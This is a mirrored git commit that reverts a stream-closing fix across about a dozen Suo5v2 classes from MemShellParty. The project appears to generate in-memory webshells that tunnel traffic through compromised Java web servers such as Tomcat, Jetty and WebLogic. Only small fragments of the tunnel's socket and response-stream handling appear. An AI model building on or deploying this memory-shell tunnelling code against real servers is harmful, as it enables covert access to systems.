mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
Revert "fix: close respOutputStream in finally"
Dev Deploy / Build Jar (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
Dev Deploy / Build Jar (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
This reverts commit 25e4086241.
This commit is contained in:
@@ -346,10 +346,10 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
|
||||
Thread t = null;
|
||||
boolean sendClose = true;
|
||||
final OutputStream scOutStream = socket.getOutputStream();
|
||||
final InputStream scInStream = socket.getInputStream();
|
||||
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
||||
try {
|
||||
final OutputStream scOutStream = socket.getOutputStream();
|
||||
final InputStream scInStream = socket.getInputStream();
|
||||
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
||||
|
||||
Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId);
|
||||
t = new Thread(p);
|
||||
@@ -381,26 +381,26 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
} finally {
|
||||
|
||||
try {
|
||||
socket.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
if (sendClose) {
|
||||
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
|
||||
}
|
||||
try {
|
||||
respOutputStream.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
if (t != null) {
|
||||
t.join();
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
private void processHalfStream(Object req, Object resp, HashMap dataMap, String tunId, int dirtySize) throws Exception {
|
||||
boolean newThread = false;
|
||||
boolean sendClose = true;
|
||||
|
||||
try {
|
||||
byte action = ((byte[]) dataMap.get("ac"))[0];
|
||||
switch (action) {
|
||||
|
||||
+5
-7
@@ -324,10 +324,10 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe
|
||||
|
||||
Thread t = null;
|
||||
boolean sendClose = true;
|
||||
final OutputStream scOutStream = socket.getOutputStream();
|
||||
final InputStream scInStream = socket.getInputStream();
|
||||
final OutputStream respOutputStream = resp.getOutputStream();
|
||||
try {
|
||||
final OutputStream scOutStream = socket.getOutputStream();
|
||||
final InputStream scInStream = socket.getInputStream();
|
||||
final OutputStream respOutputStream = resp.getOutputStream();
|
||||
|
||||
Suo5v2ControllerHandler p = new Suo5v2ControllerHandler(scInStream, respOutputStream, tunId);
|
||||
t = new Thread(p);
|
||||
@@ -359,17 +359,15 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
} finally {
|
||||
|
||||
try {
|
||||
socket.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
if (sendClose) {
|
||||
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
|
||||
}
|
||||
try {
|
||||
respOutputStream.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
if (t != null) {
|
||||
t.join();
|
||||
}
|
||||
|
||||
+4
-8
@@ -329,10 +329,10 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru
|
||||
|
||||
Thread t = null;
|
||||
boolean sendClose = true;
|
||||
final OutputStream scOutStream = socket.getOutputStream();
|
||||
final InputStream scInStream = socket.getInputStream();
|
||||
final OutputStream respOutputStream = resp.getOutputStream();
|
||||
try {
|
||||
final OutputStream scOutStream = socket.getOutputStream();
|
||||
final InputStream scInStream = socket.getInputStream();
|
||||
final OutputStream respOutputStream = resp.getOutputStream();
|
||||
|
||||
Suo5v2Filter p = new Suo5v2Filter(scInStream, respOutputStream, tunId);
|
||||
t = new Thread(p);
|
||||
@@ -365,18 +365,14 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru
|
||||
} catch (Exception ignored) {
|
||||
} finally {
|
||||
|
||||
|
||||
try {
|
||||
socket.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
if (sendClose) {
|
||||
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
|
||||
}
|
||||
try {
|
||||
respOutputStream.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
if (t != null) {
|
||||
t.join();
|
||||
}
|
||||
|
||||
+6
-7
@@ -341,10 +341,10 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos
|
||||
|
||||
Thread t = null;
|
||||
boolean sendClose = true;
|
||||
final OutputStream scOutStream = socket.getOutputStream();
|
||||
final InputStream scInStream = socket.getInputStream();
|
||||
final OutputStream respOutputStream = resp.getOutputStream();
|
||||
try {
|
||||
final OutputStream scOutStream = socket.getOutputStream();
|
||||
final InputStream scInStream = socket.getInputStream();
|
||||
final OutputStream respOutputStream = resp.getOutputStream();
|
||||
|
||||
Suo5v2Interceptor p = new Suo5v2Interceptor(scInStream, respOutputStream, tunId);
|
||||
t = new Thread(p);
|
||||
@@ -376,20 +376,19 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
} finally {
|
||||
|
||||
try {
|
||||
socket.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
if (sendClose) {
|
||||
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
|
||||
}
|
||||
try {
|
||||
respOutputStream.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
if (t != null) {
|
||||
t.join();
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+5
-7
@@ -379,10 +379,10 @@ public class Suo5v2JettyCustomizer implements HttpConfiguration.Customizer, Runn
|
||||
|
||||
Thread t = null;
|
||||
boolean sendClose = true;
|
||||
final OutputStream scOutStream = socket.getOutputStream();
|
||||
final InputStream scInStream = socket.getInputStream();
|
||||
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
||||
try {
|
||||
final OutputStream scOutStream = socket.getOutputStream();
|
||||
final InputStream scInStream = socket.getInputStream();
|
||||
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
||||
|
||||
Suo5v2JettyCustomizer p = new Suo5v2JettyCustomizer(scInStream, respOutputStream, tunId);
|
||||
t = new Thread(p);
|
||||
@@ -414,17 +414,15 @@ public class Suo5v2JettyCustomizer implements HttpConfiguration.Customizer, Runn
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
} finally {
|
||||
|
||||
try {
|
||||
socket.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
if (sendClose) {
|
||||
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
|
||||
}
|
||||
try {
|
||||
respOutputStream.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
if (t != null) {
|
||||
t.join();
|
||||
}
|
||||
|
||||
+5
-7
@@ -340,10 +340,10 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust
|
||||
|
||||
Thread t = null;
|
||||
boolean sendClose = true;
|
||||
final OutputStream scOutStream = socket.getOutputStream();
|
||||
final InputStream scInStream = socket.getInputStream();
|
||||
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
||||
try {
|
||||
final OutputStream scOutStream = socket.getOutputStream();
|
||||
final InputStream scInStream = socket.getInputStream();
|
||||
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
||||
|
||||
Suo5v2JettyHandler p = new Suo5v2JettyHandler(scInStream, respOutputStream, tunId);
|
||||
t = new Thread(p);
|
||||
@@ -375,17 +375,15 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
} finally {
|
||||
|
||||
try {
|
||||
socket.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
if (sendClose) {
|
||||
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
|
||||
}
|
||||
try {
|
||||
respOutputStream.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
if (t != null) {
|
||||
t.join();
|
||||
}
|
||||
|
||||
+5
-7
@@ -335,10 +335,10 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam
|
||||
|
||||
Thread t = null;
|
||||
boolean sendClose = true;
|
||||
final OutputStream scOutStream = socket.getOutputStream();
|
||||
final InputStream scInStream = socket.getInputStream();
|
||||
final OutputStream respOutputStream = resp.getOutputStream();
|
||||
try {
|
||||
final OutputStream scOutStream = socket.getOutputStream();
|
||||
final InputStream scInStream = socket.getInputStream();
|
||||
final OutputStream respOutputStream = resp.getOutputStream();
|
||||
|
||||
Suo5v2Listener p = new Suo5v2Listener(scInStream, respOutputStream, tunId);
|
||||
t = new Thread(p);
|
||||
@@ -370,17 +370,15 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
} finally {
|
||||
|
||||
try {
|
||||
socket.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
if (sendClose) {
|
||||
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
|
||||
}
|
||||
try {
|
||||
respOutputStream.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
if (t != null) {
|
||||
t.join();
|
||||
}
|
||||
|
||||
+5
-7
@@ -323,10 +323,10 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T
|
||||
|
||||
Thread t = null;
|
||||
boolean sendClose = true;
|
||||
final OutputStream scOutStream = socket.getOutputStream();
|
||||
final InputStream scInStream = socket.getInputStream();
|
||||
final OutputStream respOutputStream = resp.getOutputStream();
|
||||
try {
|
||||
final OutputStream scOutStream = socket.getOutputStream();
|
||||
final InputStream scInStream = socket.getInputStream();
|
||||
final OutputStream respOutputStream = resp.getOutputStream();
|
||||
|
||||
Suo5v2Servlet p = new Suo5v2Servlet(scInStream, respOutputStream, tunId);
|
||||
t = new Thread(p);
|
||||
@@ -358,17 +358,15 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
} finally {
|
||||
|
||||
try {
|
||||
socket.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
if (sendClose) {
|
||||
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
|
||||
}
|
||||
try {
|
||||
respOutputStream.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
if (t != null) {
|
||||
t.join();
|
||||
}
|
||||
|
||||
+5
-7
@@ -326,10 +326,10 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus
|
||||
|
||||
Thread t = null;
|
||||
boolean sendClose = true;
|
||||
final OutputStream scOutStream = socket.getOutputStream();
|
||||
final InputStream scInStream = socket.getInputStream();
|
||||
final OutputStream respOutputStream = resp.getOutputStream();
|
||||
try {
|
||||
final OutputStream scOutStream = socket.getOutputStream();
|
||||
final InputStream scInStream = socket.getInputStream();
|
||||
final OutputStream respOutputStream = resp.getOutputStream();
|
||||
|
||||
Suo5v2Struct2Action p = new Suo5v2Struct2Action(scInStream, respOutputStream, tunId);
|
||||
t = new Thread(p);
|
||||
@@ -361,17 +361,15 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
} finally {
|
||||
|
||||
try {
|
||||
socket.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
if (sendClose) {
|
||||
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
|
||||
}
|
||||
try {
|
||||
respOutputStream.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
if (t != null) {
|
||||
t.join();
|
||||
}
|
||||
|
||||
+5
-7
@@ -326,10 +326,10 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier,
|
||||
|
||||
Thread t = null;
|
||||
boolean sendClose = true;
|
||||
final OutputStream scOutStream = socket.getOutputStream();
|
||||
final InputStream scInStream = socket.getInputStream();
|
||||
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
||||
try {
|
||||
final OutputStream scOutStream = socket.getOutputStream();
|
||||
final InputStream scInStream = socket.getInputStream();
|
||||
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
||||
|
||||
Suo5v2UndertowServletHandler p = new Suo5v2UndertowServletHandler(scInStream, respOutputStream, tunId);
|
||||
t = new Thread(p);
|
||||
@@ -361,17 +361,15 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier,
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
} finally {
|
||||
|
||||
try {
|
||||
socket.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
if (sendClose) {
|
||||
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
|
||||
}
|
||||
try {
|
||||
respOutputStream.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
if (t != null) {
|
||||
t.join();
|
||||
}
|
||||
|
||||
+5
-7
@@ -329,10 +329,10 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust
|
||||
|
||||
Thread t = null;
|
||||
boolean sendClose = true;
|
||||
final OutputStream scOutStream = socket.getOutputStream();
|
||||
final InputStream scInStream = socket.getInputStream();
|
||||
final OutputStream respOutputStream = resp.getOutputStream();
|
||||
try {
|
||||
final OutputStream scOutStream = socket.getOutputStream();
|
||||
final InputStream scInStream = socket.getInputStream();
|
||||
final OutputStream respOutputStream = resp.getOutputStream();
|
||||
|
||||
Suo5v2Valve p = new Suo5v2Valve(scInStream, respOutputStream, tunId);
|
||||
t = new Thread(p);
|
||||
@@ -364,17 +364,15 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
} finally {
|
||||
|
||||
try {
|
||||
socket.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
if (sendClose) {
|
||||
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
|
||||
}
|
||||
try {
|
||||
respOutputStream.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
if (t != null) {
|
||||
t.join();
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user